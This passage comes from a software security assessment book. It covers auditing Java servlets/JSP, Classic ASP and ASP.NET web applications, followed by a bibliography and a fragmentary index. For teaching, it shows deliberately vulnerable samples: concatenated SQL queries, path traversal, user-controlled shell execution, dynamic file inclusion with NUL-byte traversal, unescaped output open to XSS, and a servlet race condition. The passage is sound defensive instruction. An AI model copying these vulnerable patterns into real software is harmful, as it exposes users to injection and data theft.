Most Java Web applications present a front end by using JavaServer Pages (JSP). JSP resembles other server-side scripting technologies, such as PHP or ASP, because you use it to embed Java code in HTML documents. However, JSP is a little different behind the scenes. When a Web server first receives a request for a JSP page, the Web server always compiles that page into a servlet. This servlet is then cached, and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1113 future requests for the original JSP page call that cached servlet. This behavior opens some interesting design possibilities; for example, you can forward requests from a servlet to a JSP page because JSP pages share the same characteristics as servlets. Servlets and JSP represent the fundamental components of Java Web development. On top of this foundation is an entire industry of frameworks, technologies, and environments for developing and deploying Java applications. An entire book could be devoted to covering the security aspects of any of these popular frameworks in detail. However, for the sake of brevity, this chapter focuses on the core aspects of the Java architecture. These patterns should help you understand the basic issues and apply this knowledge to any framework you encounter. SQL Injection Database access is usually performed with Java Database Connectivity (JDBC) API using the java.sql and javax.sql packages. A Web application usually creates a Connection object, and then uses that object to create a Statement object. Statement and CallableStatement objects are often susceptible to SQL injection, whereas PreparedStatment is usually safe because it supports bound parameters. Typical vulnerable JDBC database code looks like the following: Connection conn = null; conn = getDBConnection(); /* This wrapper sets up JDBC */ Statement stmt = conn.createStatement(); String query = "SELECT * FROM documents WHERE docid = " + request.getParameter("docID"); ResultSet rs = stmt.executeQuery(query); The Statement object supports three methods that initiate a database query: executeUpdate(), execute(), and executeQuery(). They are similar in that they take some form of SQL string as an argument processed by the database server. During a code review, you should search for all three and perform some general searches for SQL keywords because you'll also encounter custom frameworks and wrappers as well as alternative technology. File Access File access from within a servlet typically uses the java.io package, but it's important to keep your eyes open for other possible mechanisms. Java is an extensible language, and developers make use of different frameworks and wrappers. One useful The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1114 technique is simply to search for the word "filename," which naturally tends to accompany file manipulation code. Another useful technique is searching for calls to getrealPath() and getPathTranslated(). These functions are used to turn a Web-based file path into a physical file path, which is a good indicator that the code is interacting directly with the underlying file system. Here's an example of typical code used to write a file to the disk from within a servlet: String name = req.getParameter("name"); File tempDir = (File) getServletContext(). getAttribute( "javax.servlet.context.tempdir" ); // create a temporary file in that directory File tempFile = File.createTempFile( name, ".tmp", tempDir ); // write to file FileWriter fw = new FileWriter( tempFile ); Shell Invocation Shell invocation is a seldom used feature of the Java runtime environment. Java programs can access this feature by calling the getruntime() method of java.lang.Runtime. This Runtime object supports a few overloaded versions of the exec() method. It's a true exec() system call and doesn't implicitly open a shell to interpret the supplied command. Developers often open the shell explicitly with the appropriate option to take a command from the command line (such as cmd /c in Windows). The following code could be vulnerable, depending on the amount of influence users wielded over the command variable: Runtime runtime = Runtime.getRuntime(); Process process = null; try { process = runtime.exec(command); File Inclusion Java servlets support a rich set of functionality for intraservlet coordination and communication, which is integral to integration with JSPs. When a servlet must transfer control to another servlet or JSP, it obtains a RequestDispatcher object first that facilitates control-flow transfer. RequestDisatcher objects expose two methods: include() and forward(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1115 The forward() method is used when a servlet is done processing the request data and is ready to hand off control to another servlet or JSP. This situation is fairly common when presentation and business logic are well confined to separate components. A servlet might process the HTTP input, make several database calls, do some processing, and then fill out several variables attached to the request attributes. This servlet could then hand control over to a JSP page that knows how to take the variables in request attributes and turn them into stylish HTML content. The include() method is more a mechanism for embedding code in a currently running JSP or servlet. It's used more often when you've divided code into manageable pieces and want to call one of those pieces in the right place to do its job. For example, you might have a layered menu system that dynamically draws itself based on XML configuration files. One way to render submenus from within the main menu page is to use include() to call the code that handles presenting the submenu on the main page. As a code auditor, you should look for situations in which user-malleable input can make it into the arguments provided during creation of the RequestDispatcher for include() or forward(). This situation can lead to security issues of differing degrees, but even the capability to run existing files in the Web tree through the JSP compiler would probably end up being useful to clever attackers. JSP File Inclusion At first glance, JSP appears to be similar to ASP and PHP. HTML files are marked up with a scripting language, and they seem to more or less work in the same fashion. However, under the covers, JSP pages aren't being run through a script interpreter. Instead, they are compiled into servlets by the JSP engine the first time they're run. Because JSP pages are really servlets at a low level, they work elegantly with servlet mechanisms for forwarding and including. Java servlets and JSP code are essentially the same technology, so this section covers just a few JSP-specific commands that are a little different. First, the oldest method for including files in JSP pages involves the JSP include directive, indicated like this: <%@ include file="include.jsp" %> This directive functions effectively like a server-side include (SSI) directive; it happens before the JSP code is compiled and runs, so it's a static process. There's essentially no risk of attackers manipulating this path at runtime. The second, and far more interesting, method is the jsp:include element. It's close to the directive form but has a slightly different format: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1116 <jsp:include page="include.jsp" /> This function works similarly to the RequestDispatcher.include() API servlets use to include other content. This inclusion is evaluated dynamically at runtime, so the risk of user manipulation exists. The following is an excerpt from a real-world application found to be vulnerable: <jsp:include page='<%="browserActions/" + request.getParameter("_actionPage") + ".jsp"%>' By using a NUL-terminating byte and starting the parameter with directory traversal characters, it was possible to get the JSP compiler to parse any file in the Web tree. WEB-INF/web.xml is always a good candidate for this kind of attack, as it usually reveals some attack surface you would have missed otherwise. The jsp:forward element works much like the RequestDispatcher.forward() function servlets. If you recall, include() is used to embed or include a servlet, JSP code, or file into the caller. The forward() function is used to hand control over for the other dynamic object to finish. The distinction isn't all that interesting, however, if any sort of user-malleable data is involved. Both require() and include() are good targets from that perspective. Inline Evaluation Java is a different type of language technology than the scripting engine based Web architectures. There's no immediate way for a Java program to dynamically construct source code and then have the Java virtual machine compile and run it on the fly. However, a number of Java technologies do provide different forms of dynamic code evaluation. They include scripting environments, such as BeanShell and Jython, and of course the JSP interpreter is a dynamic evaluation environment for JSP files. These capabilities, however, are much less susceptible to exploit than true interpreted scripting languages, such as ASP and PHP. Cross-Site Scripting The Java runtime provides the java.net.UrlEncoder.encode() method to escape special characters in URLs. JSP provides the additional capabilities required for filtering against cross-site scripting attacks. The response.encodeURL() method encodes URL output, and the <c:out> tag escapes XML (and thus HTML) metacharacters from output. Developers may get confused when using the <c> tags, however, because only the <c:out> tag performs escaping. For example, the following code fails to escape HTML output: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1117 <table> <c:forEach var="item" items="${menu}"> <tr> <td>${item.name}</td> <td>${item.price}</td> </c:forEach> </table> This code fragment is vulnerable to cross-site scripting attacks because the item.name and item.price variables are not explicitly handled. The following example handles these variables properly: <table> <c:forEach var="item" items="${menu}"> <tr> <td><c:out value="${item.name}"/></td> <td><c:out value="${item.price}"/></td> </tr> </c:forEach> </table> This example demonstrates the correct method for preventing cross-site scripting attackers. However, it's a bit less intuitive and many developers are unfamiliar with the approach. As an auditor, you need to watch for code similar to the vulnerable example, as it is a very common pattern in JSP pages. Threading Issues Most servlets are designed to handle multiple simultaneous threads calling into them at the same time. Typically, there's only one instantiation of the actual servlet object in memory, but a dozen threads might call its methods concurrently to handle requests. These concurrent calls can lead to security exposures if the servlet class is not completely thread safe. Servlets can be written to handle only one client at a time. If the servlet implements the SingleThreadModel interface, the servlet container treats that servlet as unsafe for concurrent threads. Generally, Java developers discourage this practice, and it's not common. Therefore, a giant red flag is the use of instance variables in servlets. They are effectively like global variables in a multithreaded C program, and they should be used with extreme care. Consider the following code: class MyServlet extends HttpServlet { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1118 String account_number; public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { account_number=request.getParameter("ID"); ... if (authenticate_user(account_number) != USER_VALID) kill_session_and_user_and_abort(); ... display_account_history(account_number); } ... } This code works fine in a single-threaded situation because it stores the account number in the account_number instance variable. It then checks whether that number is valid and aborts processing if user isn't authenticated. If user passes the authentication, the code displays details of the user's account. However, this code has an obvious race condition in a multithreaded environment, like a Web server. The account_number string can be changed by concurrently running calls to doGet() between actions, leading to situations in which valid users are booted out occasionally, and every now and then, someone sees someone else's account information. Configuration Servlets are mapped to a virtual Web tree in a configuration file, typically the web.xml file in the WEB-INF/ directory off the root of the Web tree. The information in this file is critical for performing security analysis, as it defines how servlets interact with the outside world. Although most of the information in the file is useful to code auditors, this section focuses on two important entries: servlets and servlet-mappings. The web.xml file has a list of servlet entries, with each one listing a servlet in the application. This entry specifies the servlet's full class name and gives each servlet a manageable name used to reference it in other places in the configuration. This entry is also where servlet-specific configuration information and other options can be added. In their simplest form, servlet entries look like this: <servlet> The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1119 <servlet-name>myserverbuddy</servlet-name> <servlet-class>com.java.sun.popsicle.myserverbuddy </servlet-class> </servlet> <servlet> <servlet-name>evildoer</servlet-name> <servlet-class>com.java.sun.popsicle.evildoer</servlet-class> </servlet> The Web application defined by these servlet entries implements a list of servlets. The servlet-mapping entry associates a URL pattern with a servlet, as shown in these sample mappings: <servlet-mapping> <servlet-name>myserverbuddy</servlet-name> <url-pattern>/buddy/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>evildoer</servlet-name> <url-pattern>*.evl</url-pattern> </servlet-mapping> Keep in mind that every servlet or JSP exposed to the Internet represents another attack surface and potential failure point. The best solution is to expose only what's necessary under the most restrictive conditions that make sense. 8.5.8 ASP Active Server Pages (ASP or Classic ASP) is a popular Microsoft technology for server-side scripting of Web applications. The program code is embedded in the HTML page within special tags, and a server-side parser evaluates the code as the page is displayed. The actual language can be any ActiveScript-compliant language, including VBScript, JavaScript, and PerlScript. In practice, however, VBScript is the most common choice, so this discussion focuses on that language. ASP is primarily intended to function as a presentation tier in enterprise web applications. The Microsoft Distributed Network Architecture (DNA) 1.0 guidelines recommend COM objects for any logic tiers. They are generally implemented in Visual The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1120 Basic or C++. However, many small- to medium-sized applications are developed entirely in ASP. ASP auditing comes pretty naturally to anyone familiar with PHP or JSP. The general structure and techniques are very similar, and the major differences are just language and platform semantics. SQL Injection Database access in ASP is typically performed using ActiveX Data Objects (ADO). You want to look for three main objects: Connection, Command, and RecordSet. The Connection object represents a full connection to an external database. It has an Execute() method that runs a SQL query on that connection and returns a RecordSet. The following code shows the most common way SQL queries are performed with the Connection object: user = Request.Form("username") Set Connection = Server.CreateObject("ADODB.Connection") Connection.Open "DSN=testdsn; UID=xxx" sqlStmt = "SELECT * FROM users WHERE name= '" & user & "'" Set rs = Connection.Execute(sqlStmt) Developers can also use an ADO Command object, which is more flexible for stored procedures and parameterized queries. With this approach, users set properties in the Command object to tell it which connection to use and what SQL query it should run. The SQL query runs when the Command object's Execute() method is called. This process is demonstrated in the following code: set cmd = Server.CreateObject("ADODB.Command") Command.ActiveConnection = Connection querystr = "SELECT * FROM users WHERE name='" & user & "'" cmd.CommandText = querystr Command.Execute A third common way to run a SQL query is for the application to create a RecordSet object and then call the Open() method, as shown in the following code: user = Request.Form("username") The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1121 querystr = "SELECT * FROM users WHERE name='" & user & "'" Set rs = Server.CreateObject("ADODB.Recordset") rs.Open querystr, "DSN= All three of these types of statements are vulnerable to SQL injection attacks when handling user supplied data, so you should look for any instances of their use. ADO also supports parameterized queries via the Command object. You can identify these queries by the ? placeholder in the query string and the use of the CreateParameter() method to add bound parameters. For the sake of thoroughness, when auditing an ASP application for SQL problems, you will also want to search for specific strings to try to find all the database interaction code. Good search candidates are SQL substrings, such as INSERT, SELECT, or WHERE, as well as methods that manipulate the database, such as Execute() or Open(). File Access ASP access to the file system is usually performed with the Scripting.FileSystemObject object, which defines a number of methods for standard file manipulation tasks, such as creating, deleting, reading, writing, and renaming files. When performing a security audit, examine every use of the FileSystemObject, as most of the methods have security consequences if user input is involved. Here's an example of a problem-prone attempt to write a file with the CreateTextFile() method: username = Request.Form("username") path = server.MapPath("/profiles/") Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objFSOFile = objFSO.CreateTextFile(path + "\" + username) This example is vulnerable to a direct path traversal attack, allowing an attacker to create an arbitrary text file on the system. The NUL-byte issue affects ASP code as well, so attackers can easily circumvent code that appends a suffix or file extension to a user-supplied filename. This code also demonstrates a good method for identifying locations that handle user supplied paths. The Server.MapPath() function is commonly used when manipulating file paths. It's responsible for converting a path in the Web tree into a real physical drive path. Therefore, it ends up being used in most code dealing with the file system, even if that code uses a mechanism other than The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1122 FileSystemObject. In practice, you can find most file system manipulation code by performing a non-case-sensitive search for FileSystemObject, MapPath, and filename. Shell Invocation Shell invocation is not as natural of a task in ASP as it is in UNIX-based Web technologies. Typically, it's done using the Windows Scripting Host shell object, WshShell. This object provides Exec() and Run() methods; Run() starts a new Windows application, and Exec() starts a program within a child command shell and handles redirection of standard input, output, and error. Code that calls the shell is usually easy to find, as it generally has this idiom: set objShell = Server.CreateObject( "WScript.Shell" ) objShell.Run( thecommand ) If users can manipulate portions of the command string passed to WshShell, it's likely a serious exposure. File Inclusion Most file inclusion in ASP code is actually done by using SSIs. Because these directives are processed before the ASP interpreter runs, it isn't possible for dynamically constructed #include statements to work. In other words, you can't write code to create a filename at runtime and then include that file by using the <!-- #include file=<> --> tag. That said, as of IIS 5.0 and ASP 3.0, two new methods are available for directing the ASP interpreter to process other files at runtime. The Server.Execute() method calls and embeds a separate ASP in the current ASP. It works like an include function but is a bit more involved in how it preserves the object model associated with the HTTP request. Effectively, it calls another ASP page like a subroutine. The MSDN entry provides a good example, which has been modified in the following example to demonstrate a security vulnerability. <HTML> <BODY> <H1>Company Name</H1> <% Lang = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") Server.Execute(Lang & "Welcome.asp") %> </BODY> </HTML> The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1123 This code attempts to open a regionally localized page by constructing a filename from the language specified by the client. So the following ASP pages would be sitting in the same directory as the main welcome page: - EnWelcome.asp - <% Response.Write "Welcome to my Web site!" %> - DeWelcome.asp <% Response.Write "Willkommen zu meinem Web site!" %> - EsWelcome.asp - <% Response.Write "Recepcion a mi Web site!" %> The obvious security hole is that the language isn't filtered, and users can control the argument to Server.Execute(). Because ASP is also susceptible to the NUL-byte termination issue, this means appending Welcome.asp doesn't interfere with the attacker's ability to specify arbitrary files. Note that this vulnerability is nowhere near as bad in the ASP environment as it is in PHP. In ASP, an attacker must supply a filename in the Web tree, and can't specify external files, which limits the attack somewhat. The best bet for attackers is to try to find a temporary file directory in the Web tree where they can upload a file containing VBScript. It also might be worthwhile to include other configuration and content files in the Web tree, as the ASP parser likely exposes their contents even if it doesn't see valid ASP. Often, if a system is built around ASP chaining mechanisms like this one, merely calling the wrong "inside" ASP file is enough to let attackers bypass authentication or authorization checks. Server.Transfer() transfers control from one ASP file to another. It's different from Execute() in that it hands complete control over and stops execution of the initial ASP page. The state of the system and the objects that make up the ASP environment are maintained, and the transfer occurs totally on the server side. Other Web technologies have implemented this feature in some fashion, as it works well for separating code and presentation logic. Developers could create one ASP file that does all the work with the database and business logic. This file could populate several temporary variables with the data that needs to be displayed. If this ASP code uses Server.Transfer() to transfer control to a second ASP, the second ASP can read those variables from the runtime environment it inherited, and then its code can focus on displaying the information in a graphically appealing fashion. Manipulation of the Server.Transfer() destination filename has more or less the same impact as with Server.Execute(). If developers mistakenly use these functions as analogues for Response.Redirect(), they can run into unexpected security issues. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1124 These methods seem to work similarly to a redirect, but they perform a full transfer of control on the server side. The impact of improper filtering with these methods can lead to running arbitrary code and disclosing sensitive files. Inline Evaluation VBScript is the most common scripting language used for ASP. It provides a few mechanisms for dynamic runtime evaluation of code that prove interesting for security review. Execute() takes a string containing VBScript code and runs it through the interpreter. Eval() does more or less the same thing, except it treats its string as an expression, not a statement. These function are much the same, but the separation into two functions helps resolve an ambiguity in VBScript about interpreting the = operator. In Execute(), it's used for assignment, and in Eval(), it tests for equality. VBScript also has ExecuteGlobal(), which is just like Execute(), except it runs dynamically provided code in the global namespace of the currently running application. Thus, the dynamic code can define or modify variables used by other functions. Note the difference between this Execute() function and the Server.Execute() ASP method. This Execute() function is a VBScript language directive for dynamically interpreting code, and the Server.Execute() function is part of the ASP runtime object model/API for transferring control flow to another ASP script. If attackers can sneak metacharacter data into dynamically evaluated code for any of these methods, the results are categorically bad. They can use script code to perform whatever operations they choose or simply open a remote shell. Cross-Site Scripting ASP encodes HTML content using the Server.HTMLEncode() function for normal HTML and the Server.URLEncode() function for URLs. You should look for any user-malleable HTML output via other methods including Response.Write() and <% = <expression> %>. Configuration ASP programmers often use the .inc file extension for include files just as PHP programmers do. If the Web server isn't set up to handle the .inc file extension correctly, more often than not it just serves the include files as plain text when directly queried for them. It's usually worth checking for this error, as it's a common operational oversight. 8.5.9 ASP.NET ASP.NET is Microsoft's successor to the Classic ASP platform; it provides the Web Services component of the .NET framework. The .NET framework is a language-independent virtual machine and a set of associated libraries. It's similar in The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1125 many ways to the Java platform; both are platform-independent virtual machine environments, provide robust code access control, and have extremely rich default libraries. In practice, you can leverage a lot of the same techniques with both Java and ASP.NET, although naming and certain conventions differ. In particular, .NET provides the Common Language Runtime (CLR), which supports a variety of languages, so a source review of a .NET application might require knowledge of several languages. Fortunately, the most popular .NET languages are C# and VB.NET, which are similar to Java and Visual Basic, respectively. You will also want to be familiar with Classic ASP, as many of its conventions and potential security issues are share with ASP.NET. SQL Injection The .NET runtime provides the System.Data namespace for interacting with all data sources (collectively referred to as ADO.NET). A connection to a data source is generally established by using the SQLConnection class in the System.Data.SqlClient namespace, although a database-specific connection can be used, such as the OracleConnection class from the System.Data.Client namespace. The semantics are essentially the same, so this section sticks with the basic provider. After the connection is established, queries can be issued in a number of ways. The safest approach is to use parameterized SQL via the SqlCommand and SqlParameter classes. This approach follows the same general structure of parameterized queries discussed in Chapter 17(? [????.]). Here's an example of a parameterized query in C#: SqlCommand cmd = new SqlCommand( "SELECT * FROM table WHERE name=@name", cn); cmd.CommandType= CommandType.Text; SqlParameter prm = new SqlParameter("@name",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = userInput; cmd.Parameters.Add(prm); SqlDataReader rdr = cmd.ExecuteReader(); This code fragment runs the parameterized command and attaches the result set to the data reader. It's a fairly common approach to SQL in .NET. However, here's a much shorter approach to the same statement: SqlCommand cmd = new SqlCommand( "SELECT * FROM table WHERE name='" + userInput + "'", cn); cmd.CommandType= CommandType.Text; SqlDataReader rdr = cmd.ExecuteReader(); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1126 This second statement is obviously vulnerable; the parameters aren't bound, and an attacker could supply SQL metacharacters for input. However, it still uses the same SqlCommand class as the parameterized query, so you need to make sure you look for any dynamic input in the query string. File Access Input and output are handled by the System.IO namespace, but you need to watch for other possible mechanisms. Like Java, .NET is an extensible language, and developers make use of various frameworks and wrappers. You can do simple searches for common file variable names, as suggested in the Java section. You can also look for calls to the path-handling methods of the Request object, especially Request.MapPath() and Request.MapPathSecure(), which are used to translate relative paths in the server context. Another consideration is that the vast majority of ASP.NET applications are on Windows systems (although the Mono project and DotGNU do produce cross-platform implementations). Therefore, you need to be aware of Windows file-handling quirks (discussed in Chapter 11(? [????.]), "Windows I: Objects and the File System"). Shell Invocation The Process class from the System.Diagnostics namespace is used for running and controlling other processes. By default, this class calls the appropriate shell handler based on the extension of the provided filename, so it is very similar to the ShellExecuteEx Win32 function. For example, this function calls cmd.exe if a file named test.bat is passed to it. This behavior can be controlled by setting the UseShellExecute property to false in the ProcessStartInfo class passed to Process.Start(). Here's a simple example of starting a batch file with a manually supplied command shell: ProcessStartInfo si = new ProcessStartInfo("cmd.exe"); si.Arguments = "/c test.bat" si.UseShellExecute = false; Process proc = Process.Start(si); However, here's an example that executes the file the using the default batch file handler: Process proc = Process.Start("test.bat"); The file extension is particularly important when starting a process, unless the ProcessStartInfo is set explicitly. Attackers who can manipulate the filename might The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1127 be able to leverage this to start entirely different applications or force the interpretation of shell metacharacters. File Inclusion ASP.NET is like Java, in that it doesn't allow dynamic inclusion of script files. Files can be included, however, via this preprocessor directive: <!--#include file="inc_footer.aspx"--> Of course, a vulnerability that allows a file to be written to the Web root could result in a dynamic execution vulnerability. Also, ASP.NET supports the Server.Transfer() and Server.Execute() methods provided by Classic ASP, so the security issues in the Classic ASP discussion also apply. Finally, there are situations that make it possible for developers to implement their own dynamic include capabilities, discussed in the next section. Inline Evaluation The .NET framework is language independent, so it doesn't quite support direct script evaluation. However, the System.CodeDom.Compiler namespace includes CodeProvider classes for common languages, such as C# and VB.NET. Using this namespace, developers can implement an inline evaluation routine fairly easily by just compiling and running the source code programmatically. Oddly enough, you might actually see this approach in production Web code, so you need to watch for any use of the System.CodeDom.Compiler namespace. Cross-Site Scripting ASP.NET prevents cross-site scripting attacks with the same basic filtering mechanisms as Classic ASP, including the Server.HTMLEncode() function for normal HTML and the Server.URLEncode() function for URLs. ASP.NET also provides some extra protection by explicitly denying requests containing the < and > characters; this behavior is controlled via the ValidateRequest page attribute. Some page controls also escape script data, although you will need to consult the documentation for each control to determine its exact behavior. Configuration ASP.NET applications are configured by using the web.config file at the root of the application directory. This file can override some settings in the global machine.config file found in the CONFIG subfolder of the .NET framework installation directory. The web.config file includes settings for application-wide authentication, ViewState security, server runtime parameters, and a variety of other details. The MSDN The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1128 provides extensive information on details of the web.config file, but the following sections touch on a few important points. ViewState The ViewState, stored in a client-side cookie, contains information on form parameter content, control status, and other display-specific information. By default, ViewState is protected with a secure message digest by using a secret in the validationKey attribute of the machineKey field in web.config. However, some controls can be bound to data sources that reveal column and table names along with other potential database schema. To address this problem, ViewState can also be encrypted by setting the validation attribute to AES or DES and providing a value for decryptionKey. If ViewState isn't encrypted, you can use one of many ViewState decoder tools to search for interesting information (a ViewState decoder is available from www.pluralsight.com/tools.aspx). The following simple ViewState section requires both authentication and encryption for all pages: <pages enableViewStateMac="true" ... /> <machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" decryption="AES" /> Access Control ASP.NET allows an application to set sitewide access control enforced by the runtime engine. One of the most popular types of authentication is forms-based authentication; here's an example of a forms-based authentication section in web.config: <authentication mode="Forms"> <forms name="AuthLogin" loginURL="login.aspx" protection="All" timeout="1200" path="/" /> </authentication> This code causes a request from an unauthenticated user to be redirected to login.aspx. This page can then process the login and, if needed, forwards the user to the original URL on success. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1129 The login page is generally the first page you want to examine in an ASP.NET application. Often, developers include backdoor mechanisms for testing purposes or Web service requests, or the login could simply have vulnerabilities of its own. Authorization The authorization section of the web.config file can also contain useful information and be used to restrict request methods, users, groups, and roles. Typically, you see a small number of roles to separate normal and administrative users. Here's a typical authorization section for a Web application's administrative interface: <authorization> <allow roles="Administrator"/> <deny users="?" /> </authorization> The location tag can also be used to limit the scope of the authorization section. For example, you could wrap this section in a location tag that includes only the administrative page or directory. AppSettings The appSettings section of the web.config file can be used to provide application-specific parameters. They are passed as simple key value pairs and retrieved later by using ConfigurationSettings.AppSettings(). These parameters can be important to how the application performs, so make note of them and see where they're used in the code. In particular, database and middleware connection information is often stored in this section. Here's an example of an appSettings section of the web.config file: <appSettings> <add key="myparam" value="testval" /> </appSettings> 8.5.10 Summary This chapter has given you an overview of the current direction of Web technologies and some details of common platforms. You should be able to use this information as a starting point in reviewing Web applications. However, keep in mind that all these platforms are quite complex; an entire book could be devoted to a detailed exploration of the security aspects of each one. Make sure you supplement this chapter's coverage with detailed information from platform developers and other security resources. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1130 9. Bibliography Berners-Lee, T., Fielding, R., and Frystyk, H. "Request for Comments (RFC) 1945: Hypertext Transfer Protocol HTTP/1.0." Internet Engineering Task Force (IETF), 1996. Bishop, M. Computer Security: Art & Science. Addison-Wesley, 2003. Brown, K. Programming Windows Security. Addison-Wesley, 2000. Brown, K. The .NET Developer's Guide to Windows Security. Addison-Wesley, 2005. Chen, H., Wagner, D., and Dean, D. "Setuid Demystified." In Proceedings of the Eleventh Usenix Security Symposium. San Francisco, 2002. Eddon, G. and Eddon, H. Inside Distributed COM. Microsoft Press, 1998. Ferguson, N. and Schneier, B. Practical Cryptography. Wiley Publishing, Inc., 2003. Fielding, R., et al. (1999). "Request for Comments (RFC) 2616: Hypertext Transfer Protocol HTTP/1.1." Internet Engineering Task Force (IETF), 1999. Hart, J. Windows System Programming, Third Edition. Addison-Wesley, 2005. Hoglund, G. and McGraw, G. Exploiting Software. Addison-Wesley Professional, 2004. Howard, M. and LeBlanc, D. Writing Secure Code, Second Edition. Microsoft Press, 2002. Howard, M., LeBlanc, D., and Viega, J. 19 Deadly Sins of Software Security. McGraw-Hill Osborne Media, 2005. ISO/IEC. ISO/IEC International Standard 9899-1999: Programming LanguagesC. International Organization for Standardization (ISO), 1999. ITU-T. Recommendation X.690, ISO/IEC 8825-1, ASN.1 encoding rules: Specification of Basic Encoding Rules (BER), Canonical Encoding Rules (CER) & Distinguished Encoding Rules (DER). International Organization for Standardization (ISO), 2002. ITU-T. Recommendation X.691, ISO/IEC 8825-2, ASN.1 encoding rules: Specification of Packed Encoding Rules (PER). International Organization for Standardization (ISO), 2003. ITU-T. Recommendation X.693, ISO/IEC 8825-4, ASN.1 encoding rules: XML Encoding Rules (XER). International Organization for Standardization (ISO), 2004. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1131 Kernighan, B. W. and Ritchie, D. M. The C Programming Language, 2nd Edition. Prentice Hall, 1988. Koziol, J., et al. The Shellcoder's Handbook: Discovering & Exploiting Security Holes. Wiley Publishing, Inc., 2004. Lopatic, T., McDonald, J., and Song, D. A Stateful Inspection of FireWall-1. Blackhat Briefings, 2000. Maughan, D., et al. "Request for Comments (RFC) 2408: Internet Security Association & Key Management Protocol (ISAKMP)." Internet Engineering Task Force (IETF), 1998. McConnell, S. Code Complete: A Practical Handbook of Software Construction. Microsoft Press, 2004. Menezes, A., van Oorschot, P., and Vanstone, S. Handbook of Applied Cryptography. CRC Press, 2000. Microsoft Developer Network (MSDN) Library. http://msdn.microsoft.com/library/, 2006. Mockapetris, P. "Request for Comments (RFC) 1035: Domain NamesImplementation & Specification." Internet Engineering Task Force (IETF), 1987. Moore, B. "Shattering By Example." Security-Assessment.com (http://blackhat.com/presentations/bh-usa-04/bh-us-04-moore/bh-us-04-moore-w hitepaper.pdf), 2003. NGSSoftware Insight Security Research Papers. Next Generation Security Software. http://www.nextgenss.com/research/papers/. OpenBSD Project. OpenBSD Manual (www.openbsd.org/cgi-bin/man.cgi), 2006. Paxon, V. Personal Web site (www.icir.org/vern/). Postel, J. "Request for Comments (RFC) 0768: User Datagram Protocol." Internet Engineering Task Force (IETF), 1980. Postel, J. "Request for Comments (RFC) 0791: Internet Protocol." Internet Engineering Task Force (IETF), 1981. Postel, J. "Request for Comments (RFC) 0793: Transmission Control Protocol." Internet Engineering Task Force (IETF), 1981. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1132 Quinlan, D., Russell, P. R., and Yeoh, C. "Filesystem Hierarchy Standard." www.pathname.com/fhs/, 2004. Ranum, M. Personal Web site (www.ranum.com/). Russinovich, M. and Cogswell, B. Sysinternals (www.sysinternals.com/). Russinovich, M. and Solomon, D. Microsoft Windows Internals: Microsoft Windows Server 2003, Windows XP, & Windows 2000, Fourth Edition. Microsoft Press, 2005. Schneier, B. Applied Cryptography: Protocols, Algorithms, & Source Code in C, Second Edition. Wiley Publishing, Inc., 1995. Schrieber, S. Undocumented Windows 2000 Secrets: A Programmer's Cookbook. Addison-Wesley, 2001. Sommerville, I. Software Engineering, Seventh Edition. Addison-Wesley, 2004. SPI Labs Whitepapers. SPI Dynamics (www.spidynamics.com/spilabs/education/whitepapers.html). St. Johns, M. "Request for Comments (RFC) 1413: Identification Protocol." Internet Engineering Task Force (IETF), 1993. Stevens, W. R. Advanced Programming in the UNIX™ Environment. Addison-Wesley, 1992. Stevens, W. R. TCP/IP Illustrated, Volume 1: The Protocols. Addison-Wesley, 1994. Stewart, R. and Dalal, M. Improving TCP's Robustness to Blind In-Window Attacks. Internet Engineering Task Force (IETF), 2006. Swiderski, F. and Snyder, W. Threat Modeling. Microsoft Press, 2004. The Open Group. The Single UNIX Specification. The Austin Group (www.unix.org/version3/), 2004. van der Linden, P. Expert C Programming. Prentice-Hall, 1994. Wheeler, D. A. "Secure Programming for Linux and Unix HOWTO." www.dwheeler.com/secure-programs, 2003. Zalewski, M. "Delivering Signals for Fun & Profit." Symantec (BindView publication, acquired by Symantec; www.bindview.com/Services/Razor/Papers/2001/signals.cfm), 2001. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1133 Zalewski, M. Personal Web site (http://lcamtuf.coredump.cx/). 10. Index Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] 10.1 SYMBOL Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] 